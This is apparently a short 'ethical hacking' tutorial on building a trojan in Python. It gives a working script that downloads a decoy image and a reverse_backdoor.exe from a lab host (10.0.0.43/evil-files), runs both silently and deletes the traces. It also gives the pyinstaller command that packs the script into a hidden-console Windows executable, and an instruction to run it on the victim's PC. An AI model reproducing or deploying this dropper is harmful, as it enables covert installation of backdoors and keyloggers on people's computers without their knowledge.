Python Ethical Hacking - TROJANS Analysis(1)

TROJANS

A trojan is a file that looks and functions as a normal file(image, pdf, song ..etc).

When executed:

1. Opens the normal file that the user expects.

2. Executes evil code in the background (run a backdoor/keylogger ..etc).

 

Download & Execute Payload

• A generic executable that downloads & executes files.
• Ideas:
• Download backdoor + keylogger.
  • Download keylogger + password recovery tool.
  • Download keylogger + password recovery tool + backdoor.
  • Use it as a trojan -- evil file + a normal file.

Create the download_and_exeucte Python code：

#!/usr/bin/env python
import os
import subprocess
import requests
import tempfile


def download(url):
    get_response = requests.get(url)
    file_name = url.split("/")[-1]
    with open(file_name, "wb") as out_file:
        out_file.write(get_response.content)


temp_directory = tempfile.gettempdir()
os.chdir(temp_directory)
print(temp_directory)

download("http://10.0.0.43/evil-files/Galaxy.jpg")
subprocess.Popen("Galaxy.jpg", shell=True)

download("http://10.0.0.43/evil-files/reverse_backdoor.exe")
subprocess.call("reverse_backdoor.exe", shell=True)

os.remove("Galaxy.jpg")
os.remove("reverse_backdoor.exe")

 

Convert the Python Program to Windows Executable.

wine /root/.wine/drive_c/Program\ Files\ \(x86\)/Python37-32/Scripts/pyinstaller.exe download_and_execute.py --onefile --noconsole

 

 Execute the download_and_execute.exe file on the vitim PC.

 

 The user can only see a normal picture, but the communication has been established background.
